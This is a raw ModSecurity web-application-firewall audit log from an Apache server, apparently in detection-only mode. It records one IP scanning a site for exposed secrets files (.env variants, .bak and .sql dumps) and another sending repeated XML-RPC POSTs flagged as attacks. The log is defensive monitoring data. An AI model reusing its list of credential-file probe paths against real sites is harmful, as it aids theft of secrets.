www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e87eea09-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=380aa752c41c8532b38d8c10417dc7791750025842; expires=Sun, 15 Jun 2025 23:17:22 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e87eea09-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/examples/01-simple-model/.env"] [unique_id "aE9GcR-kH31pk4mNbsVD4wAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025841706172 648699 (- - -) Stopwatch2: 1750025841706172 648699; combined=1752, p1=370, p2=1287, p3=0, p4=0, p5=94, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e87eea09-Z-- --85c9081e-A-- [16/Jun/2025:03:47:34.761319 +0530] aE9GfptpMljr92g54YHriQAAAAE 185.177.72.210 59248 127.0.0.1 7081 --85c9081e-B-- GET /install.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --85c9081e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=037ae9fa0c4867915f42aaa9ab8a02d01750025854; expires=Sun, 15 Jun 2025 23:17:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --85c9081e-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/install.sql"] [unique_id "aE9GfptpMljr92g54YHriQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025854095815 665590 (- - -) Stopwatch2: 1750025854095815 665590; combined=2025, p1=351, p2=1546, p3=0, p4=0, p5=128, sr=105, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --85c9081e-Z-- --fb5c9003-A-- [16/Jun/2025:03:47:37.524377 +0530] aE9GgJtpMljr92g54YHrigAAAAE 185.177.72.210 59358 127.0.0.1 7081 --fb5c9003-B-- GET /.env.保存 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --fb5c9003-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1d6a056482d9cf8082c5023dab84ee6a1750025857; expires=Sun, 15 Jun 2025 23:17:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --fb5c9003-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.\\\\xe4\\\\xbf\\\\x9d\\\\xe5\\\\xad\\\\x98"] [unique_id "aE9GgJtpMljr92g54YHrigAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025856806459 718011 (- - -) Stopwatch2: 1750025856806459 718011; combined=2046, p1=379, p2=1572, p3=0, p4=0, p5=95, sr=90, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fb5c9003-Z-- --84ff3377-A-- [16/Jun/2025:03:47:41.718727 +0530] aE9GhJtpMljr92g54YHrjAAAAAE 185.177.72.210 57390 127.0.0.1 7081 --84ff3377-B-- GET /:8181/vendor/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --84ff3377-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=815a74ab8fd59b3ed4bff01c003d8c591750025861; expires=Sun, 15 Jun 2025 23:17:41 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --84ff3377-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/vendor/.env"] [unique_id "aE9GhJtpMljr92g54YHrjAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025860955539 763252 (- - -) Stopwatch2: 1750025860955539 763252; combined=1852, p1=374, p2=1359, p3=0, p4=0, p5=118, sr=97, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --84ff3377-Z-- --d7a08544-A-- [16/Jun/2025:03:47:48.788422 +0530] aE9GjLIOonfcVDbK8_bp_AAAAAA 185.177.72.210 57742 127.0.0.1 7081 --d7a08544-B-- GET /configurationtion.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d7a08544-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e99c3caf2866d1c80099b954c6b620a51750025868; expires=Sun, 15 Jun 2025 23:17:48 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d7a08544-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/configurationtion.bak"] [unique_id "aE9GjLIOonfcVDbK8_bp_AAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025868131685 656844 (- - -) Stopwatch2: 1750025868131685 656844; combined=2053, p1=365, p2=1560, p3=0, p4=0, p5=128, sr=111, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d7a08544-Z-- --b178e532-A-- [16/Jun/2025:03:47:54.533237 +0530] aE9GkX2GhYywD7zZgx7_LQAAAAM 185.177.72.210 49422 127.0.0.1 7081 --b178e532-B-- GET /:10000/docker/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b178e532-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=48c490b8bd248a9fea97dccea9d00ec61750025874; expires=Sun, 15 Jun 2025 23:17:54 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b178e532-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/docker/.env"] [unique_id "aE9GkX2GhYywD7zZgx7_LQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025873847741 685560 (- - -) Stopwatch2: 1750025873847741 685560; combined=1896, p1=377, p2=1416, p3=0, p4=0, p5=103, sr=100, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b178e532-Z-- --dfa0de26-A-- [16/Jun/2025:03:47:56.575737 +0530] aE9Gk1xTdrwJSUMoZvGvagAAAAc 185.177.72.210 49526 127.0.0.1 7081 --dfa0de26-B-- GET /:8888/.c9/metadata/ambienzinhoironment/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --dfa0de26-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=62c6bd83a059180568055ba767b9d9f71750025876; expires=Sun, 15 Jun 2025 23:17:56 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --dfa0de26-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/.c9/metadata/ambienzinhoironment/.env"] [unique_id "aE9Gk1xTdrwJSUMoZvGvagAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025875916865 658935 (- - -) Stopwatch2: 1750025875916865 658935; combined=2344, p1=501, p2=1748, p3=0, p4=0, p5=94, sr=116, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --dfa0de26-Z-- --009d8461-A-- [16/Jun/2025:03:48:01.511363 +0530] aE9GmFxTdrwJSUMoZvGvbgAAAAc 128.199.112.101 60716 127.0.0.1 7081 --009d8461-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --009d8461-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --009d8461-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9GmFxTdrwJSUMoZvGvbgAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025880534319 977100 (- - -) Stopwatch2: 1750025880534319 977100; combined=2403, p1=444, p2=1544, p3=43, p4=57, p5=195, sr=141, sw=120, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --009d8461-Z-- --a7ad0320-A-- [16/Jun/2025:03:48:57.933970 +0530] aE9G0UNwpNEMJppxC49W6wAAAAI 185.177.72.210 50814 127.0.0.1 7081 --a7ad0320-B-- GET /:8880/mail/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a7ad0320-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8d694d24f85d2aa7cb9b09c4487cf1751750025937; expires=Sun, 15 Jun 2025 23:18:57 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a7ad0320-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/mail/.env"] [unique_id "aE9G0UNwpNEMJppxC49W6wAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025937152032 782002 (- - -) Stopwatch2: 1750025937152032 782002; combined=1831, p1=423, p2=1300, p3=0, p4=0, p5=108, sr=86, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a7ad0320-Z-- --a837ae5c-A-- [16/Jun/2025:03:49:01.161617 +0530] aE9G1FxTdrwJSUMoZvGviQAAAAc 185.177.72.210 38484 127.0.0.1 7081 --a837ae5c-B-- GET /.env.example HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a837ae5c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=cc3b2ff8cfed37c0fd6b93c34085e5421750025941; expires=Sun, 15 Jun 2025 23:19:01 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a837ae5c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.example"] [unique_id "aE9G1FxTdrwJSUMoZvGviQAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025940490016 671666 (- - -) Stopwatch2: 1750025940490016 671666; combined=1885, p1=359, p2=1426, p3=0, p4=0, p5=99, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a837ae5c-Z-- --913e0d61-A-- [16/Jun/2025:03:49:01.970213 +0530] aE9G1X2GhYywD7zZgx7_SgAAAAM 128.199.112.101 38502 127.0.0.1 7081 --913e0d61-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 492 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --913e0d61-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --913e0d61-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9G1X2GhYywD7zZgx7_SgAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025941020542 949740 (- - -) Stopwatch2: 1750025941020542 949740; combined=2229, p1=372, p2=1375, p3=64, p4=87, p5=209, sr=100, sw=122, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --913e0d61-Z-- --0fc48e5a-A-- [16/Jun/2025:03:49:02.231088 +0530] aE9G1RAGYpjnkyifC9YlWQAAAAU 185.177.72.210 38514 127.0.0.1 7081 --0fc48e5a-B-- GET /tests/todo-react/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0fc48e5a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0aa523c3b55e090f4a59ac77cf64dd481750025942; expires=Sun, 15 Jun 2025 23:19:02 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0fc48e5a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/tests/todo-react/.env"] [unique_id "aE9G1RAGYpjnkyifC9YlWQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025941520041 711129 (- - -) Stopwatch2: 1750025941520041 711129; combined=1991, p1=400, p2=1489, p3=0, p4=0, p5=101, sr=88, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0fc48e5a-Z-- --fe7e7c1e-A-- [16/Jun/2025:03:49:04.222885 +0530] aE9G14l8S04UZ4l67-njXgAAAAk 185.177.72.210 38588 127.0.0.1 7081 --fe7e7c1e-B-- GET /:8008/wp-admin/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --fe7e7c1e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a776eb609de9d551133815858d5f06391750025944; expires=Sun, 15 Jun 2025 23:19:04 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --fe7e7c1e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/wp-admin/.env"] [unique_id "aE9G14l8S04UZ4l67-njXgAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025943567498 655462 (- - -) Stopwatch2: 1750025943567498 655462; combined=1775, p1=406, p2=1270, p3=0, p4=0, p5=98, sr=113, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fe7e7c1e-Z-- --0eec0e6c-A-- [16/Jun/2025:03:49:10.278557 +0530] aE9G3VR6EeXjkGzEkblp-wAAAAs 185.177.72.210 55602 127.0.0.1 7081 --0eec0e6c-B-- GET /.env.prod HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0eec0e6c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5f44062c2c2599c8fce2b5f836aa39c31750025950; expires=Sun, 15 Jun 2025 23:19:10 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0eec0e6c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id 